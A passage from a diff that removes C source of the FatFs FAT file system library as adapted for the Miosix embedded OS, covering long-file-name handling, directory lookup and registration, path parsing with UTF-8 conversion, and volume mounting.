!lfnbuf[i]) ord |= LLE; /* Bottom LFN part is the start of LFN sequence */ - dir[LDIR_Ord] = ord; /* Set the LFN order */ -} - -#endif -#endif - - - - -/*-----------------------------------------------------------------------*/ -/* Create numbered name */ -/*-----------------------------------------------------------------------*/ -#if _USE_LFN -void gen_numname ( - BYTE* dst, /* Pointer to generated SFN */ - const BYTE* src, /* Pointer to source SFN to be modified */ - const WCHAR* lfn, /* Pointer to LFN */ - WORD seq /* Sequence number */ -) -{ - BYTE ns[8], c; - UINT i, j; - - - mem_cpy(dst, src, 11); - - if (seq > 5) { /* On many collisions, generate a hash number instead of sequential number */ - do seq = (seq >> 1) + (seq << 15) + (WORD)*lfn++; while (*lfn); - } - - /* itoa (hexdecimal) */ - i = 7; - do { - c = (seq % 16) + '0'; - if (c > '9') c += 7; - ns[i--] = c; - seq /= 16; - } while (seq); - ns[i] = '~'; - - /* Append the number */ - for (j = 0; j < i && dst[j] != ' '; j++) { - if (IsDBCS1(dst[j])) { - if (j == i - 1) break; - j++; - } - } - do { - dst[j++] = (i < 8) ? ns[i++] : ' '; - } while (j < 8); -} -#endif - - - - -/*-----------------------------------------------------------------------*/ -/* Calculate sum of an SFN */ -/*-----------------------------------------------------------------------*/ -#if _USE_LFN -static -BYTE sum_sfn ( - const BYTE* dir /* Pointer to the SFN entry */ -) -{ - BYTE sum = 0; - UINT n = 11; - - do sum = (sum >> 1) + (sum << 7) + *dir++; while (--n); - return sum; -} -#endif - - - - -/*-----------------------------------------------------------------------*/ -/* Directory handling - Find an object in the directory */ -/*-----------------------------------------------------------------------*/ - -static -FRESULT dir_find ( - DIR_* dp /* Pointer to the directory object linked to the file name */ -) -{ - FRESULT res; - BYTE c, *dir; -#if _USE_LFN - BYTE a, ord, sum; -#endif - - res = dir_sdi(dp, 0); /* Rewind directory object */ - if (res != FR_OK) return res; - -#if _USE_LFN - ord = sum = 0xFF; -#endif - do { - res = move_window(dp->fs, dp->sect); - if (res != FR_OK) break; - dir = dp->dir; /* Ptr to the directory entry of current index */ - c = dir[DIR_Name]; - if (c == 0) { res = FR_NO_FILE; break; } /* Reached to end of table */ -#if _USE_LFN /* LFN configuration */ - a = dir[DIR_Attr] & AM_MASK; - if (c == DDE || ((a & AM_VOL) && a != AM_LFN)) { /* An entry without valid data */ - ord = 0xFF; - } else { - if (a == AM_LFN) { /* An LFN entry is found */ - if (dp->lfn) { - if (c & LLE) { /* Is it start of LFN sequence? */ - sum = dir[LDIR_Chksum]; - c &= ~LLE; ord = c; /* LFN start order */ - dp->lfn_idx = dp->index; - } - /* Check validity of the LFN entry and compare it with given name */ - ord = (c == ord && sum == dir[LDIR_Chksum] && cmp_lfn(dp->lfn, dir)) ? ord - 1 : 0xFF; - } - } else { /* An SFN entry is found */ - if (!ord && sum == sum_sfn(dir)) break; /* LFN matched? */ - ord = 0xFF; dp->lfn_idx = 0xFFFF; /* Reset LFN sequence */ - if (!(dp->fn[NS] & NS_LOSS) && !mem_cmp(dir, dp->fn, 11)) break; /* SFN matched? */ - } - } -#else /* Non LFN configuration */ - if (!(dir[DIR_Attr] & AM_VOL) && !mem_cmp(dir, dp->fn, 11)) /* Is it a valid entry? */ - break; -#endif - res = dir_next(dp, 0); /* Next entry */ - } while (res == FR_OK); - - return res; -} - - - - -/*-----------------------------------------------------------------------*/ -/* Read an object from the directory */ -/*-----------------------------------------------------------------------*/ -#if _FS_MINIMIZE <= 1 || _USE_LABEL || _FS_RPATH >= 2 -static -FRESULT dir_read ( - DIR_* dp, /* Pointer to the directory object */ - int vol /* Filtered by 0:file/directory or 1:volume label */ -) -{ - FRESULT res; - BYTE a, c, *dir; -#if _USE_LFN - BYTE ord = 0xFF, sum = 0xFF; -#endif - - res = FR_NO_FILE; - while (dp->sect) { - res = move_window(dp->fs, dp->sect); - if (res != FR_OK) break; - dir = dp->dir; /* Ptr to the directory entry of current index */ - c = dir[DIR_Name]; - if (c == 0) { res = FR_NO_FILE; break; } /* Reached to end of table */ - a = dir[DIR_Attr] & AM_MASK; -#if _USE_LFN /* LFN configuration */ - if (c == DDE || (!_FS_RPATH && c == '.') || (int)(a == AM_VOL) != vol) { /* An entry without valid data */ - ord = 0xFF; - } else { - if (a == AM_LFN) { /* An LFN entry is found */ - if (c & LLE) { /* Is it start of LFN sequence? */ - sum = dir[LDIR_Chksum]; - c &= ~LLE; ord = c; - dp->lfn_idx = dp->index; - } - /* Check LFN validity and capture it */ - ord = (c == ord && sum == dir[LDIR_Chksum] && pick_lfn(dp->lfn, dir)) ? ord - 1 : 0xFF; - } else { /* An SFN entry is found */ - if (ord || sum != sum_sfn(dir)) /* Is there a valid LFN? */ - dp->lfn_idx = 0xFFFF; /* It has no LFN. */ - break; - } - } -#else /* Non LFN configuration */ - if (c != DDE && (_FS_RPATH || c != '.') && a != AM_LFN && (int)(a == AM_VOL) == vol) /* Is it a valid entry? */ - break; -#endif - res = dir_next(dp, 0); /* Next entry */ - if (res != FR_OK) break; - } - - if (res != FR_OK) dp->sect = 0; - - return res; -} -#endif /* _FS_MINIMIZE <= 1 || _USE_LABEL || _FS_RPATH >= 2 */ - - - - -/*-----------------------------------------------------------------------*/ -/* Register an object to the directory */ -/*-----------------------------------------------------------------------*/ -#if !_FS_READONLY -static -FRESULT dir_register ( /* FR_OK:Successful, FR_DENIED:No free entry or too many SFN collision, FR_DISK_ERR:Disk error */ - DIR_* dp /* Target directory with object name to be created */ -) -{ - FRESULT res; -#if _USE_LFN /* LFN configuration */ - WORD n, ne; - BYTE sn[12], *fn, sum; - WCHAR *lfn; - - - fn = dp->fn; lfn = dp->lfn; - mem_cpy(sn, fn, 12); - - if (_FS_RPATH && (sn[NS] & NS_DOT)) /* Cannot create dot entry */ - return FR_INVALID_NAME; - - if (sn[NS] & NS_LOSS) { /* When LFN is out of 8.3 format, generate a numbered name */ - fn[NS] = 0; dp->lfn = 0; /* Find only SFN */ - for (n = 1; n < 100; n++) { - gen_numname(fn, sn, lfn, n); /* Generate a numbered name */ - res = dir_find(dp); /* Check if the name collides with existing SFN */ - if (res != FR_OK) break; - } - if (n == 100) return FR_DENIED; /* Abort if too many collisions */ - if (res != FR_NO_FILE) return res; /* Abort if the result is other than 'not collided' */ - fn[NS] = sn[NS]; dp->lfn = lfn; - } - - if (sn[NS] & NS_LFN) { /* When LFN is to be created, allocate entries for an SFN + LFNs. */ - for (n = 0; lfn[n]; n++) ; - ne = (n + 25) / 13; - } else { /* Otherwise allocate an entry for an SFN */ - ne = 1; - } - res = dir_alloc(dp, ne); /* Allocate entries */ - - if (res == FR_OK && --ne) { /* Set LFN entry if needed */ - res = dir_sdi(dp, (WORD)(dp->index - ne)); - if (res == FR_OK) { - sum = sum_sfn(dp->fn); /* Sum value of the SFN tied to the LFN */ - do { /* Store LFN entries in bottom first */ - res = move_window(dp->fs, dp->sect); - if (res != FR_OK) break; - fit_lfn(dp->lfn, dp->dir, (BYTE)ne, sum); - dp->fs->wflag = 1; - res = dir_next(dp, 0); /* Next entry */ - } while (res == FR_OK && --ne); - } - } -#else /* Non LFN configuration */ - res = dir_alloc(dp, 1); /* Allocate an entry for SFN */ -#endif - - if (res == FR_OK) { /* Set SFN entry */ - res = move_window(dp->fs, dp->sect); - if (res == FR_OK) { - mem_set(dp->dir, 0, SZ_DIR); /* Clean the entry */ - mem_cpy(dp->dir, dp->fn, 11); /* Put SFN */ -#if _USE_LFN - dp->dir[DIR_NTres] = dp->fn[NS] & (NS_BODY | NS_EXT); /* Put NT flag */ -#endif - dp->fs->wflag = 1; - } - } - - return res; -} -#endif /* !_FS_READONLY */ - - - - -/*-----------------------------------------------------------------------*/ -/* Remove an object from the directory */ -/*-----------------------------------------------------------------------*/ -#if !_FS_READONLY && !_FS_MINIMIZE -static -FRESULT dir_remove ( /* FR_OK: Successful, FR_DISK_ERR: A disk error */ - DIR_* dp /* Directory object pointing the entry to be removed */ -) -{ - FRESULT res; -#if _USE_LFN /* LFN configuration */ - WORD i; - - i = dp->index; /* SFN index */ - res = dir_sdi(dp, (WORD)((dp->lfn_idx == 0xFFFF) ? i : dp->lfn_idx)); /* Goto the SFN or top of the LFN entries */ - if (res == FR_OK) { - do { - res = move_window(dp->fs, dp->sect); - if (res != FR_OK) break; - *dp->dir = DDE; /* Mark the entry "deleted" */ - dp->fs->wflag = 1; - if (dp->index >= i) break; /* When reached SFN, all entries of the object has been deleted. */ - res = dir_next(dp, 0); /* Next entry */ - } while (res == FR_OK); - if (res == FR_NO_FILE) res = FR_INT_ERR; - } - -#else /* Non LFN configuration */ - res = dir_sdi(dp, dp->index); - if (res == FR_OK) { - res = move_window(dp->fs, dp->sect); - if (res == FR_OK) { - *dp->dir = DDE; /* Mark the entry "deleted" */ - dp->fs->wflag = 1; - } - } -#endif - - return res; -} -#endif /* !_FS_READONLY */ - - - - -/*-----------------------------------------------------------------------*/ -/* Pick a segment and create the object name in directory form */ -/*-----------------------------------------------------------------------*/ - -static -FRESULT create_name ( - DIR_* dp, /* Pointer to the directory object */ - const /*TCHAR*/char **path /* Pointer to pointer to the segment in the path string */ -) -{ -#if _USE_LFN /* LFN configuration */ - BYTE b, cf; - WCHAR *lfn; - char32_t w; - UINT i, ni, si, di; - const /*TCHAR*/char *p; - - /* Create LFN in Unicode */ - for (p = *path; *p == '/' || *p == '\\'; p++) ; /* Strip duplicated separator */ - lfn = dp->lfn; - /*si =*/ di = 0; - for (;;) { - w = miosix::Unicode::nextUtf8(p);/*p[si++];*/ /* Get a character */ - if(w == miosix::Unicode::invalid || w > 0xffff) return FR_INVALID_NAME; - if (w < ' ' || w == '/' || w == '\\') break; /* Break on end of segment */ - if (di >= _MAX_LFN) /* Reject too long name */ - return FR_INVALID_NAME; -#if !_LFN_UNICODE - #error "Unsupported" - w &= 0xFF; - if (IsDBCS1(w)) { /* Check if it is a DBC 1st byte (always false on SBCS cfg) */ - b = (BYTE)p[si++]; /* Get 2nd byte */ - if (!IsDBCS2(b)) - return FR_INVALID_NAME; /* Reject invalid sequence */ - w = (w << 8) + b; /* Create a DBC */ - } - w = ff_convert(w, 1); /* Convert ANSI/OEM to Unicode */ - if (!w) return FR_INVALID_NAME; /* Reject invalid code */ -#endif - if (w < 0x80 && chk_chr("\"*:<>\?|\x7F", w)) /* Reject illegal characters for LFN */ - return FR_INVALID_NAME; - lfn[di++] = w; /* Store the Unicode character */ - } - *path = p/*&p[si]*/; /* Return pointer to the next segment */ - cf = (w < ' ') ? NS_LAST : 0; /* Set last segment flag if end of path */ -#if _FS_RPATH - if ((di == 1 && lfn[di-1] == '.') || /* Is this a dot entry? */ - (di == 2 && lfn[di-1] == '.' && lfn[di-2] == '.')) { - lfn[di] = 0; - for (i = 0; i < 11; i++) - dp->fn[i] = (i < di) ? '.' : ' '; - dp->fn[i] = cf | NS_DOT; /* This is a dot entry */ - return FR_OK; - } -#endif - while (di) { /* Strip trailing spaces and dots */ - w = lfn[di-1]; - if (w != ' ' && w != '.') break; - di--; - } - if (!di) return FR_INVALID_NAME; /* Reject nul string */ - - lfn[di] = 0; /* LFN is created */ - - /* Create SFN in directory form */ - mem_set(dp->fn, ' ', 11); - for (si = 0; lfn[si] == ' ' || lfn[si] == '.'; si++) ; /* Strip leading spaces and dots */ - if (si) cf |= NS_LOSS | NS_LFN; - while (di && lfn[di - 1] != '.') di--; /* Find extension (di<=si: no extension) */ - - b = i = 0; ni = 8; - for (;;) { - w = lfn[si++]; /* Get an LFN character */ - if (!w) break; /* Break on end of the LFN */ - if (w == ' ' || (w == '.' && si != di)) { /* Remove spaces and dots */ - cf |= NS_LOSS | NS_LFN; continue; - } - - if (i >= ni || si == di) { /* Extension or end of SFN */ - if (ni == 11) { /* Long extension */ - cf |= NS_LOSS | NS_LFN; break; - } - if (si != di) cf |= NS_LOSS | NS_LFN; /* Out of 8.3 format */ - if (si > di) break; /* No extension */ - si = di; i = 8; ni = 11; /* Enter extension section */ - b <<= 2; continue; - } - - if (w >= 0x80) { /* Non ASCII character */ -#ifdef _EXCVT - w = ff_convert(w, 0); /* Unicode -> OEM code */ - if (w) w = ExCvt[w - 0x80]; /* Convert extended character to upper (SBCS) */ -#else - w = ff_convert(ff_wtoupper(w), 0); /* Upper converted Unicode -> OEM code */ -#endif - cf |= NS_LFN; /* Force create LFN entry */ - } - - if (_DF1S && w >= 0x100) { /* Double byte character (always false on SBCS cfg) */ - if (i >= ni - 1) { - cf |= NS_LOSS | NS_LFN; i = ni; continue; - } - dp->fn[i++] = (BYTE)(w >> 8); - } else { /* Single byte character */ - if (!w || chk_chr("+,;=[]", w)) { /* Replace illegal characters for SFN */ - w = '_'; cf |= NS_LOSS | NS_LFN;/* Lossy conversion */ - } else { - if (IsUpper(w)) { /* ASCII large capital */ - b |= 2; - } else { - if (IsLower(w)) { /* ASCII small capital */ - b |= 1; w -= 0x20; - } - } - } - } - dp->fn[i++] = (BYTE)w; - } - - if (dp->fn[0] == DDE) dp->fn[0] = NDDE; /* If the first character collides with deleted mark, replace it with 0x05 */ - - if (ni == 8) b <<= 2; - if ((b & 0x0C) == 0x0C || (b & 0x03) == 0x03) /* Create LFN entry when there are composite capitals */ - cf |= NS_LFN; - if (!(cf & NS_LFN)) { /* When LFN is in 8.3 format without extended character, NT flags are created */ - if ((b & 0x03) == 0x01) cf |= NS_EXT; /* NT flag (Extension has only small capital) */ - if ((b & 0x0C) == 0x04) cf |= NS_BODY; /* NT flag (Filename has only small capital) */ - } - - dp->fn[NS] = cf; /* SFN is created */ - - return FR_OK; - - -#else /* Non-LFN configuration */ - BYTE b, c, d, *sfn; - UINT ni, si, i; - const char *p; - - /* Create file name in directory form */ - for (p = *path; *p == '/' || *p == '\\'; p++) ; /* Strip duplicated separator */ - sfn = dp->fn; - mem_set(sfn, ' ', 11); - si = i = b = 0; ni = 8; -#if _FS_RPATH - if (p[si] == '.') { /* Is this a dot entry? */ - for (;;) { - c = (BYTE)p[si++]; - if (c != '.' || si >= 3) break; - sfn[i++] = c; - } - if (c != '/' && c != '\\' && c > ' ') return FR_INVALID_NAME; - *path = &p[si]; /* Return pointer to the next segment */ - sfn[NS] = (c <= ' ') ? NS_LAST | NS_DOT : NS_DOT; /* Set last segment flag if end of path */ - return FR_OK; - } -#endif - for (;;) { - c = (BYTE)p[si++]; - if (c <= ' ' || c == '/' || c == '\\') break; /* Break on end of segment */ - if (c == '.' || i >= ni) { - if (ni != 8 || c != '.') return FR_INVALID_NAME; - i = 8; ni = 11; - b <<= 2; continue; - } - if (c >= 0x80) { /* Extended character? */ - b |= 3; /* Eliminate NT flag */ -#ifdef _EXCVT - c = ExCvt[c - 0x80]; /* To upper extended characters (SBCS cfg) */ -#else -#if !_DF1S - return FR_INVALID_NAME; /* Reject extended characters (ASCII cfg) */ -#endif -#endif - } - if (IsDBCS1(c)) { /* Check if it is a DBC 1st byte (always false on SBCS cfg) */ - d = (BYTE)p[si++]; /* Get 2nd byte */ - if (!IsDBCS2(d) || i >= ni - 1) /* Reject invalid DBC */ - return FR_INVALID_NAME; - sfn[i++] = c; - sfn[i++] = d; - } else { /* Single byte code */ - if (chk_chr("\"*+,:;<=>\?[]|\x7F", c)) /* Reject illegal chrs for SFN */ - return FR_INVALID_NAME; - if (IsUpper(c)) { /* ASCII large capital? */ - b |= 2; - } else { - if (IsLower(c)) { /* ASCII small capital? */ - b |= 1; c -= 0x20; - } - } - sfn[i++] = c; - } - } - *path = &p[si]; /* Return pointer to the next segment */ - c = (c <= ' ') ? NS_LAST : 0; /* Set last segment flag if end of path */ - - if (!i) return FR_INVALID_NAME; /* Reject nul string */ - if (sfn[0] == DDE) sfn[0] = NDDE; /* When first character collides with DDE, replace it with 0x05 */ - - if (ni == 8) b <<= 2; - if ((b & 0x03) == 0x01) c |= NS_EXT; /* NT flag (Name extension has only small capital) */ - if ((b & 0x0C) == 0x04) c |= NS_BODY; /* NT flag (Name body has only small capital) */ - - sfn[NS] = c; /* Store NT flag, File name is created */ - - return FR_OK; -#endif -} - - - - -/*-----------------------------------------------------------------------*/ -/* Get file information from directory entry */ -/*-----------------------------------------------------------------------*/ -#if _FS_MINIMIZE <= 1 || _FS_RPATH >= 2 -static -void get_fileinfo ( /* No return code */ - DIR_* dp, /* Pointer to the directory object */ - FILINFO* fno /* Pointer to the file information to be filled */ -) -{ - UINT i; - TCHAR *p, c; - - - p = fno->fname; - if (dp->sect) { /* Get SFN */ - BYTE *dir = dp->dir; - - i = 0; - while (i < 11) { /* Copy name body and extension */ - c = (TCHAR)dir[i++]; - if (c == ' ') continue; /* Skip padding spaces */ - if (c == NDDE) c = (TCHAR)DDE; /* Restore replaced DDE character */ - if (i == 9) *p++ = '.'; /* Insert a . if extension is exist */ -#if _USE_LFN - if (IsUpper(c) && (dir[DIR_NTres] & (i >= 9 ? NS_EXT : NS_BODY))) - c += 0x20; /* To lower */ -#if _LFN_UNICODE - if (IsDBCS1(c) && i != 8 && i != 11 && IsDBCS2(dir[i])) - c = c << 8 | dir[i++]; - c = ff_convert(c, 1); /* OEM -> Unicode */ - if (!c) c = '?'; -#endif -#endif - *p++ = c; - } - fno->fattrib = dir[DIR_Attr]; /* Attribute */ - fno->fsize = LD_DWORD(dir+DIR_FileSize); /* Size */ - fno->fdate = LD_WORD(dir+DIR_WrtDate); /* Date */ - fno->ftime = LD_WORD(dir+DIR_WrtTime); /* Time */ - fno->inode=INODE(dp); - } - *p = 0; /* Terminate SFN string by a \0 */ - -#if _USE_LFN - if (fno->lfname) { - WCHAR w, *lfn; - char *pp; - - i = 0; pp = fno->lfname; - if (dp->sect && fno->lfsize && dp->lfn_idx != 0xFFFF) { /* Get LFN if available */ - lfn = dp->lfn; - while ((w = *lfn++) != 0) { /* Get an LFN character */ -#if !_LFN_UNICODE - #error "unsupported" - w = ff_convert(w, 0); /* Unicode -> OEM */ - if (!w) { i = 0; break; } /* No LFN if it could not be converted */ - if (_DF1S && w >= 0x100) /* Put 1st byte if it is a DBC (always false on SBCS cfg) */ - pp[i++] = (TCHAR)(w >> 8); -#endif - std::pair result; - result = miosix::Unicode::putUtf8(&pp[i],w,fno->lfsize - 1 - i); - if(result.first != miosix::Unicode::OK) { i = 0; break; } /* No LFN if buffer overflow */ - i += result.second; - } - } - pp[i] = 0; /* Terminate LFN string by a \0 */ - - //By TFT: unlike plain FatFs we always want to fill lfname with an - //utf8-encoded file name. If there is no lfn (or is too long or - //otherwise broken), then take the sfn (which is utf16) and copy it to - //lfname, converting it to utf8 in the process - if(pp[0]==0) - { - lfn = fno->fname; - i = 0; - while ((w = *lfn++) != 0) - { - std::pair result; - result = miosix::Unicode::putUtf8(&pp[i],w,fno->lfsize - 1 - i); - if(result.first != miosix::Unicode::OK) { i = 0; break; } /* No LFN if buffer overflow */ - i += result.second; - } - pp[i] = 0; /* Terminate LFN string by a \0 */ - } - } -#endif -} -#endif /* _FS_MINIMIZE <= 1 || _FS_RPATH >= 2*/ - - - - -/*-----------------------------------------------------------------------*/ -/* Get logical drive number from path name */ -/*-----------------------------------------------------------------------*/ - -//By TFT: We don't want this reminiscence of microsoft OSes identifying -//drive numbers with 0:/path/to/file -// static -// int get_ldnumber ( /* Returns logical drive number (-1:invalid drive) */ -// const TCHAR** path /* Pointer to pointer to the path name */ -// ) -// { -// int vol = -1; -// -// -// if (*path) { -// vol = (*path)[0] - '0'; -// if ((UINT)vol < 9 && (*path)[1] == ':') { /* There is a drive number */ -// *path += 2; /* Get value and strip it */ -// if (vol >= _VOLUMES) vol = -1; /* Check if the drive number is valid */ -// } else { /* No drive number use default drive */ -// #if _FS_RPATH && _VOLUMES >= 2 -// vol = CurrVol; /* Current drive */ -// #else -// vol = 0; /* Drive 0 */ -// #endif -// } -// } -// -// return vol; -// } - - - - -/*-----------------------------------------------------------------------*/ -/* Follow a file path */ -/*-----------------------------------------------------------------------*/ - -static -FRESULT follow_path ( /* FR_OK(0): successful, !=0: error code */ - DIR_* dp, /* Directory object to return last directory and found object */ - const /*TCHAR*/char *path /* Full-path string to find a file or directory */ -) -{ - FRESULT res; - BYTE *dir, ns; - - -#if _FS_RPATH - if (*path == '/' || *path == '\\') { /* There is a heading separator */ - path++; dp->sclust = 0; /* Strip it and start from the root directory */ - } else { /* No heading separator */ - dp->sclust = dp->fs->cdir; /* Start from the current directory */ - } -#else - if (*path == '/' || *path == '\\') /* Strip heading separator if exist */ - path++; - dp->sclust = 0; /* Always start from the root directory */ -#endif - - if ((UINT)*path < ' ') { /* Null path name is the origin directory itself */ - res = dir_sdi(dp, 0); - dp->dir = 0; - } else { /* Follow path */ - for (;;) { - res = create_name(dp, &path); /* Get a segment name of the path */ - if (res != FR_OK) break; - res = dir_find(dp); /* Find an object with the sagment name */ - ns = dp->fn[NS]; - if (res != FR_OK) { /* Failed to find the object */ - if (res == FR_NO_FILE) { /* Object is not found */ - if (_FS_RPATH && (ns & NS_DOT)) { /* If dot entry is not exist, */ - dp->sclust = 0; dp->dir = 0; /* it is the root directory and stay there */ - if (!(ns & NS_LAST)) continue; /* Continue to follow if not last segment */ - res = FR_OK; /* Ended at the root directroy. Function completed. */ - } else { /* Could not find the object */ - if (!(ns & NS_LAST)) res = FR_NO_PATH; /* Adjust error code if not last segment */ - } - } - break; - } - if (ns & NS_LAST) break; /* Last segment matched. Function completed. */ - dir = dp->dir; /* Follow the sub-directory */ - if (!(dir[DIR_Attr] & AM_DIR)) { /* It is not a sub-directory and cannot follow */ - res = FR_NO_PATH; break; - } - dp->sclust = ld_clust(dp->fs, dir); - } - } - - return res; -} - - - - -/*-----------------------------------------------------------------------*/ -/* Load a sector and check if it is an FAT boot sector */ -/*-----------------------------------------------------------------------*/ - -static -BYTE check_fs ( /* 0:FAT boor sector, 1:Valid boor sector but not FAT, 2:Not a boot sector, 3:Disk error */ - FATFS* fs, /* File system object */ - DWORD sect /* Sector# (lba) to check if it is an FAT boot record or not */ -) -{ - fs->wflag = 0; fs->winsect = 0xFFFFFFFF; /* Invaidate window */ - if (move_window(fs, sect) != FR_OK) /* Load boot record */ - return 3; - - if (LD_WORD(&fs->win[BS_55AA]) != 0xAA55) /* Check boot record signature (always placed at offset 510 even if the sector size is >512) */ - return 2; - - if ((LD_DWORD(&fs->win[BS_FilSysType]) & 0xFFFFFF) == 0x544146) /* Check "FAT" string */ - return 0; - if ((LD_DWORD(&fs->win[BS_FilSysType32]) & 0xFFFFFF) == 0x544146) /* Check "FAT" string */ - return 0; - - return 1; -} - - - - -/*-----------------------------------------------------------------------*/ -/* Find logical drive and check if the volume is mounted */ -/*-----------------------------------------------------------------------*/ - -static -FRESULT find_volume ( /* FR_OK(0): successful, !=0: any error occurred */ - FATFS *fs, /* By TFT: added to get rid of static variables */ - /*FATFS** rfs,*/ /* Pointer to pointer to the found file system object */ - /*const TCHAR** path,*/ /* Pointer to pointer to the path name (drive number) */ - BYTE wmode /* !=0: Check write protection for write access */ -) -{ - BYTE fmt; - int vol; - DSTATUS stat; - DWORD bsect, fasize, tsect, sysect, nclst, szbfat; - WORD nrsv; - //FATFS *fs; - - - /* Get logical drive number from the path name */ - //*rfs = 0; - vol = 0;//get_ldnumber(path); - if (vol < 0) return FR_INVALID_DRIVE; - - /* Check if the file system object is valid or not */ - //fs = FatFs[vol]; /* Get pointer to the file system object */ - if (!fs) return FR_NOT_ENABLED; /* Is the file system object available? */ - - ENTER_FF(fs); /* Lock the volume */ - //*rfs = fs; /* Return pointer to the file system object */ - - if (fs->fs_type) { /* If the volume has been mounted */ - stat = RES_OK;//disk_status(fs->drv); - if (!(stat & STA_NOINIT)) { /* and the physical drive is kept initialized */ - if (!_FS_READONLY && wmode && (stat & STA_PROTECT)) /* Check write protection if needed */ - return FR_WRITE_PROTECTED; - return FR_OK; /* The file system object is valid */ - } - } - - /* The file system object is not valid. */ - /* Following code attempts to mount the volume. (analyze BPB and initialize the fs object) */ - - fs->fs_type = 0; /* Clear the file system object */ - //fs->drv = LD2PD(vol); /* Bind the logical drive and a physical drive */ - stat = RES_OK;//disk_initialize(fs->drv); /* Initialize the physical drive */ - if (stat & STA_NOINIT) /* Check if the initialization succeeded */ - return FR_NOT_READY; /* Failed to initialize due to no medium or hard error */ - if (!_FS_READONLY && wmode && (stat & STA_PROTECT)) /* Check disk write protection if needed */ - return FR_WRITE_PROTECTED; -#if _MAX_SS != 512 /* Get sector size (variable sector size cfg only) */ - if (disk_ioctl(fs->drv, GET_SECTOR_SIZE, &fs->ssize) != RES_OK) - return FR_DISK_ERR; -#endif - /* Find an FAT partition on the drive. Supports only generic partitioning, FDISK and SFD. */ - bsect = 0; - fmt = check_fs(fs, bsect); /* Load sector 0 and check if it is an FAT boot sector as SFD */ - if (fmt == 1 || (!fmt && (LD2PT(vol)))) { /* Not an FAT boot sector or forced partition number */ - UINT i; - DWORD br[4]; - - for (i = 0; i < 4; i++) { /* Get partition offset */ - BYTE *pt = fs->win+MBR_Table + i * SZ_PTE; - br[i] = pt[4] ? LD_DWORD(&pt[8]) : 0; - } - i = LD2PT(vol); /* Partition number: 0:auto, 1-4:forced */ - if (i) i--; - do { /* Find an FAT volume */ - bsect = br[i]; - fmt = bsect ? check_fs(fs, bsect) : 2; /* Check the partition */ - } while (!LD2PT(vol) && fmt && ++i < 4); - } - if (fmt == 3) return FR_DISK_ERR; /* An error occured in the disk I/O layer */ - if (fmt) return FR_NO_FILESYSTEM; /* No FAT volume is found */ - - /* An FAT volume is found. Following code initializes the file system object */ - - if (LD_WORD(fs->win+BPB_BytsPerSec) != SS(fs)) /* (BPB_BytsPerSec must be equal to the physical sector size) */ - return FR_NO_FILESYSTEM; - - fasize = LD_WORD(fs->win+BPB_FATSz16); /* Number of sectors per FAT */ - if (!fasize) fasize = LD_DWORD(fs->win+BPB_FATSz32); - fs->fsize = fasize; - - fs->n_fats = fs->win[BPB_NumFATs]; /* Number of FAT copies */ - if (fs->n_fats != 1 && fs->n_fats != 2) /* (Must be 1 or 2) */ - return FR_NO_FILESYSTEM; - fasize *= fs->n_fats; /* Number of sectors for FAT area */ - - fs->csize = fs->win[BPB_SecPerClus]; /* Number of sectors per cluster */ - if (!fs->csize || (fs->csize & (fs->csize - 1))) /* (Must be power of 2) */ - return FR_NO_FILESYSTEM; - - fs->n_rootdir = LD_WORD(fs->win+BPB_RootEntCnt); /* Number of root directory entries */ - if (fs->n_rootdir % (SS(fs) / SZ_DIR)) /* (Must be sector aligned) */ - return FR_NO_FILESYSTEM; - - tsect = LD_WORD(fs->win+BPB_TotSec16); /* Number of sectors on the volume */ - if (!tsect) tsect = LD_DWORD(fs->win+BPB_TotSec32); - - nrsv = LD_WORD(fs->win+BPB_RsvdSecCnt); /* Number of reserved sectors */ - if (!nrsv) return FR_NO_FILESYSTEM; /* (Must not be 0) */ - - /* Determine the FAT sub type */ - sysect = nrsv + fasize + fs->n_rootdir / (SS(fs) / SZ_DIR); /* RSV+FAT+DIR */ - if (tsect < sysect) return FR_NO_FILESYSTEM; /* (Invalid volume size) */ - nclst = (tsect - sysect) / fs->csize; /* Number of clusters */ - if (!nclst) return FR_NO_FILESYSTEM; /* (Invalid volume size) */ - fmt = FS_FAT12; - if (nclst >= MIN_FAT16) fmt = FS_FAT16; - if (nclst >= MIN_FAT32) fmt = FS_FAT32; - - /* Boundaries and Limits */ - fs->n_fatent = nclst + 2; /* Number of FAT entries */ - fs->volbase = bsect; /* Volume start sector */ - fs->fatbase = bsect + nrsv; /* FAT start sector */ - fs->database = bsect + sysect; /* Data start sector */ - if (fmt == FS_FAT32) { - if (fs->n_rootdir) return FR_NO_FILESYSTEM; /* (BPB_RootEntCnt must be 0) */ - fs->dirbase = LD_DWORD(fs->win+BPB_RootClus); /* Root directory start cluster */ - szbfat = fs->n_fatent * 4; /* (Required FAT size) */ - } else { - if (!fs->n_rootdir) return FR_NO_FILESYSTEM; /* (BPB_RootEntCnt must not be 0) */ - fs->dirbase = fs->fatbase + fasize; /* Root directory start sector */ - szbfat = (fmt == FS_FAT16) ? /* (Required FAT size) */ - fs->n_fatent * 2 : fs->n_fatent * 3 / 2 + (fs->n_fatent & 1); - } - if (fs->fsize < (szbfat + (SS(fs) - 1)) / SS(fs)) /* (BPB_FATSz must not be less than required) */ - return FR_NO_FILESYSTEM; - -#if !_FS_READONLY - /* Initialize cluster allocation information */ - fs->last_clust = fs->free_clust = 0xFFFFFFFF; - - /* Get fsinfo if available */ - fs->fsi_flag = 0x80; - if (fmt == FS_FAT32 /* Enable FSINFO only if FAT32 and BPB_FSInfo is 1 */ - && LD_WORD(fs->win+BPB_FSInfo) == 1 - && move_window(fs, bsect + 1) == FR_OK) - { - fs->fsi_flag = 0; - if (LD_WORD(fs->win+BS_55AA) == 0xAA55 /* Load FSINFO data if available */ - && LD_DWORD(fs->win+FSI_LeadSig) == 0x41615252 - && LD_DWORD(fs->win+FSI_StrucSig) == 0x61417272) - { -#if !_FS_NOFSINFO - fs->free_clust = LD_DWORD(fs->win+FSI_Free_Count); -#endif - fs->last_clust = LD_DWORD(fs->win+FSI_Nxt_Free); - } - } -#endif - fs->fs_type = fmt; /* FAT sub-type */ - fs->id = miosix::atomicAddExchange(&Fsid,1)/*++Fsid*/; /* File system mount ID */ -#if _FS_RPATH - fs->cdir = 0; /* Current directory (root dir) */ -#endif -#ifdef _FS_LOCK /* Clear file lock semaphores */ - clear_lock(fs); -#endif - - return FR_OK; -} - - - - -/*-----------------------------------------------------------------------*/ -/* Check if the file/directory object is valid or not */ -/*-----------------------------------------------------------------------*/ - -static -FRESULT validate ( /* FR_OK(0): The object is valid, !=0: Invalid */ - void* obj /* Pointer to the object FIL/DIR to check validity */ -) -{ - FIL *fil = (FIL*)obj; /* Assuming offset of .fs and .id in the FIL/DIR structure is identical */ - - - if (!fil || !fil->fs || 